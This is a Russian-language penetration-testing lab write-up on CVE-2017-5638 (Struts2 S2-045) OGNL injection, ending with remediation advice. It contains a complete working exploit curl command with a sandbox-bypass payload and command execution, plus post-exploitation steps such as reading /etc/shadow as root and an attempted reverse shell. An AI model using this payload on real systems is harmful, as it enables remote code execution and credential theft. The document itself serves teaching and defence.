
Практическая лаборатория, демонстрирующая инъекцию OGNL в Apache Struts2 (CVE-2017-5638), с пошаговым анализом системы, эксплуатацией, обходом изолированной среды и техниками пост-эксплуатации для обучения тестированию на проникновение.

После запуска контейнера логи Struts2 показывают, что приложение загружает знакомые конфигурационные файлы, такие как struts-default.xml, struts-plugin.xml и struts.xml. Это подтверждает, что используемый фреймворк — Apache Struts2.

Примечательный момент содержится в строке:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
Эта строка указывает, что Struts2 выбирает Jakarta multipart парсер (анализатор данных многокомпонентной загрузки) для обработки запросов типа multipart/form-data, который часто встречается в функциональности загрузки файлов.
Это критический сигнал при анализе S2-045 / CVE-2017-5638, поскольку эта уязвимость связана с процессом, в котором Struts2 обрабатывает ошибки при парсинге multipart запросов, особенно с недопустимым заголовком Content-Type.
Однако этот лог только доказывает, что приложение использует Struts2 и Jakarta-стиль multipart обработчика. Этого ещё недостаточно, чтобы сделать вывод, что приложение определённо уязвимо. Чтобы подтвердить, нам нужно определить версию struts2-core и сравнить её с диапазоном уязвимых версий.



При доступе к веб-сервису с помощью curl заголовки ответа показывают, что приложение работает на Jetty 9.2.11.v20150529. Эта информация помогает идентифицировать среду, в которой работает приложение (сервлет-контейнер), но не раскрывает напрямую версию Struts2.
Веб-интерфейс возвращает страницу Struts2 Showcase - Fileupload sample с формой загрузки, использующей:
method="POST" enctype="multipart/form-data" action="/upload.action"
Это соответствует более раннему логу, где Struts2 выбрал jakarta для MultiPartRequest: приложение действительно имеет поток обработки загрузки файлов через multipart/form-data.
⇒ Размышления: Точка входа /upload.action использует multipart/form-data, что соответствует механизму, который Struts2 обрабатывает через Jakarta MultiPartRequest. Это признак, усиливающий подозрение на S2-045/CVE-2017-5638, но нам нужно определить версию Struts2, прежде чем делать вывод, что приложение уязвимо. Далее всё ещё требуется более глубокая проверка версии struts2-core и того, как приложение обрабатывает ошибки при получении недопустимого Content-Type.
После выявления того, что приложение имеет конечную точку загрузки, использующую multipart/form-data, следующим шагом анализа является определение фактической версии Struts2. Это важно, потому что предыдущие признаки только показали, что приложение имеет механизм, связанный с multipart загрузкой, что ещё недостаточно для вывода о его уязвимости.

После определения правильного контейнера, обслуживающего Endpoint 8001, проверка библиотек выполняется непосредственно внутри контейнера project1-lab01-1.
В результате найден файл struts2-core:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
Из этого пути мы можем определить, что приложение использует Apache Struts2 2.3.30.

Сравнивая это с опубликованной уязвимостью CVE-2017-5638 / S2-045, она затрагивает многие старые версии Struts2, включая ветку 2.3.x до исправления. При объединении с:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
Цепочка условий анализа становится яснее:
`Struts2 Version 2.3.30 < Version 2.3.32
Однако с точки зрения анализа, уязвимая версия — это лишь свидетельство потенциальной подверженности. Для подтверждения на поведенческом уровне нам нужно отправить аномальный multipart запрос и наблюдать за ответом/логами, чтобы увидеть, попадает ли он в ветвь обработки ошибок multipart парсера Struts2.
⇒ Размышления: На этом этапе речь идёт уже не просто об идентификации фреймворка; версия 2.3.30 подтверждает, что приложение находится в диапазоне уязвимых версий S2-045/CVE-2017-5638. Оставшийся шаг — проверить поведение обработки ошибок multipart, чтобы завершить цепочку доказательств.

Нам нужно проверить, действительно ли запросы, отправленные на /upload.action, проходят через механизм обработки multipart в Struts2. Здесь я использую команду curl с опцией -F для проверки механизма обработки. И возвращённый результат разбивается на части:
`
⇒ Корректный запрос доказывает, что /upload.action действительно проходит через механизм multipart загрузки, потому что curl -F генерирует multipart/form-data, и сервер может разобрать каждую часть запроса.


После отправки запроса, который объявляет Content-Type как multipart/form-data, но с телом, не соответствующим структуре multipart, сервер всё равно возвращает HTTP 200 OK. Однако поля ContentType, FileName, File и Caption пусты. Проверяя логи Docker, мы замечаем, что нет границы (разделительной строки между частями в multipart), и клиент всё равно получает HTTP 200 OK. Однако Struts2 на самом деле столкнулся с ошибкой при обработке запроса.
Это доказывает цепочку доказательств:
Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary
⇒ Соответствует компонентам, связанным с S2-045/CVE-2017-5638. Таким образом, цепочка условий становится более полной: уязвимая версия, Jakarta парсер, конечная точка загрузки и некорректный запрос попадают в правильную ветвь обработки multipart.
Критический момент S2-045/CVE-2017-5638 не только в том, что multipart парсер даёт сбой. Ошибка парсера — это лишь начальное условие запуска. Опасная часть заключается в том, как Struts2 впоследствии обрабатывает сообщение об ошибке. В уязвимых версиях Struts2, когда multipart парсер сталкивается с ошибкой, содержимое ошибки может быть передано в механизм обработки сообщений Struts2. Если злоумышленник контролирует часть данных, появляющихся в ошибке, особенно из заголовка Content-Type, эти данные могут быть вычислены Struts2 через OGNL (Object-Graph Navigation Language — язык выражений Struts/XWork).
Размышления:
Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE
Выявив, что цель использует Struts2, и поскольку Struts2 использует OGNL в качестве движка выражений, поиск на PayloadsAllTheThings показывает, что внедрение new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) в Struts2 потерпит неудачу, потому что Struts2 имеет песочницу, блокирующую доступ к java.lang.Runtime.

⇒ Соберите найденную полезную нагрузку в структуру эксплуатации Struts2:
Запуск Jakarta Parser
(#_="multipart/form-data")
Обход песочницы Struts2 (Обязательно)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Полезная нагрузка выполнения команд
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
Однако при выполнении полезной нагрузки на практике мы сталкиваемся с двумя проблемами:
readAllBytes() поддерживается только начиная с Java 9. Если мы будем настаивать на её использовании, OGNL молча завершится ошибкой и вернёт пустую HTML-страницу. Это решается переходом на использование класса IOUtils из библиотеки org.apache.commons.io (всегда доступна в Struts2) для чтения потока.HttpServletResponse, использованием getWriter().println() для вывода результата, а затем вызовом flush() и close() для немедленного завершения соединения. Это заставляет сервер вернуть чистый результат выполнения команды, минуя весь мусорный HTML-интерфейс.⇒ Пересобрав вышеуказанные изменения, мы получаем полную команду curl (с использованием ProcessBuilder + IOUtils + Response Writer):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

Эксплуатация успешна!!!
Хотя мы добились RCE с правами root, каждую команду приходится отправлять через отдельный HTTP-запрос, что обеспечивает неинтерактивную среду. Реверс-шелл позволяет установить постоянную сессию, напрямую взаимодействуя с целевой системой, как если бы мы сидели перед машиной, что служит для сбора информации и более глубокого пост-эксплуатационного анализа.
Проверка привилегий
После успешной эксплуатации проверьте привилегии в системе:
uid=0(root) gid=0(root) groups=0(root)
→ Приложение работает с правами root — повышение привилегий не требуется.
Сбор конфиденциальных данных
Чтение файла /etc/shadow (файла, содержащего хэши паролей, доступ к которому имеет только root):

→ Доказывает, что атакующий имеет полный доступ на чтение/запись к системным файлам, включая самые конфиденциальные.
Примечание о реверс-шелл
Установка реверс-шелла не удалась, потому что контейнер Docker на Windows использует внутреннюю сеть (bridge/NAT); контейнер не может подключиться обратно к машине атакующего (Kali) в локальной LAN. Однако это не влияет на серьёзность уязвимости — атакующий добился RCE с правами root и может выполнять любые команды в системе.
Уязвимость OGNL Injection (CVE-2017-5638 / S2-045) в этой системе оценивается как наивысший уровень риска:
Чтобы полностью устранить эту уязвимость, команды системного администрирования и разработки должны реализовать следующие меры (в порядке приоритета):
Срочные приоритеты (Краткосрочные):
JakartaMultiPartRequest.root. Следует создать выделенного пользователя (например, struts_user) с минимальными привилегиями, необходимыми для запуска приложения.Высокие приоритеты (Долгосрочные и эшелонированная защита):
%{...}, ${...}, ognl, java.lang.ProcessBuilder) в заголовке Content-Type.Pell или COS, в конфигурационном файле struts.xml (struts.multipart.parser=cos).| Критерий | Оценка | Детали |
|---|
| Балл CVSS | 10.0 (Критический) | Максимальный абсолютный балл. |
| Аутентификация | Не требуется | Атакующему не нужна учётная запись или вход в систему для эксплуатации. |
| Сложность | Очень низкая | Требуется только отправить один HTTP-запрос (POST), содержащий полезную нагрузку в заголовке Content-Type. |
| Полученные привилегии | root | Полный контроль над приложением/контейнером на наивысшем уровне привилегий с возможностью чтения/записи любого файла (например, /etc/shadow). |
| Латеральное перемещение | Высокий | Из скомпрометированного контейнера атакующий может сканировать внутреннюю сеть (LAN) и атаковать другие контейнеры или серверы хоста. |